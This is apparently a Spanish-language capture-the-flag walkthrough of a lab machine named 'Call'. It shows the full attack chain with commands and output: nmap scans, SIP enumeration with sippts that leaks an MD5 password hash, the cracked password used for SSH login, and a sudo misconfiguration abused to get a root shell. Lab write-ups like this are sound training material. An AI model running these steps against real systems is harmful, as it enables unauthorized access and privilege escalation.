12 - Call - wh01s17

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.17

❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 15:52 -03
Nmap scan report for 192.168.1.17
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.61 ((Debian))
|_http-title: CallMe
|_http-server-header: Apache/2.4.61 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds

Como los puertos TCP no ofrecen una vía clara, ampliamos a UDP y encontramos un servicio SIP (VoIP) en el 5060:

❯ sudo nmap -sU --top-ports 100 -oN 03-udp.txt 192.168.1.17
[sudo] contraseña para wh01s17:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 16:03 -03
Nmap scan report for 192.168.1.17
Host is up (0.00039s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
5060/udp open|filtered sip
MAC Address: 08:00:27:BA:4D:0D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 116.77 seconds

Enumeramos el servicio SIP con sippts, que filtra una credencial (un hash MD5 de la contraseña):

❯ sippts leak -i 192.168.1.17
...
Auth=Digest username="phone", uri="sip:127.0.0.1:5060", password="b9bb7e7b00a4ba1e0d15fa8b2485d8c4", algorithm=MD5
...

El hash MD5 corresponde a telephone. Usamos esas credenciales para acceder por SSH y obtener la primera flag:

❯ ssh phone@192.168.1.17
phone@192.168.1.17's password: telephone
phone@call:~$

Para escalar privilegios, revisamos los permisos sudo:

phone@call:~$ sudo -l
Matching Defaults entries for phone on call:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User phone may run the following commands on call:
    (root) NOPASSWD: /usr/bin/sudo

Podemos ejecutar sudo (el propio binario) como root sin contraseña, lo que nos permite invocar un segundo sudo para lanzar una shell de root:

phone@call:~$ sudo /usr/bin/sudo bash
root@call:/home/phone#

Obtenemos la flag y fin.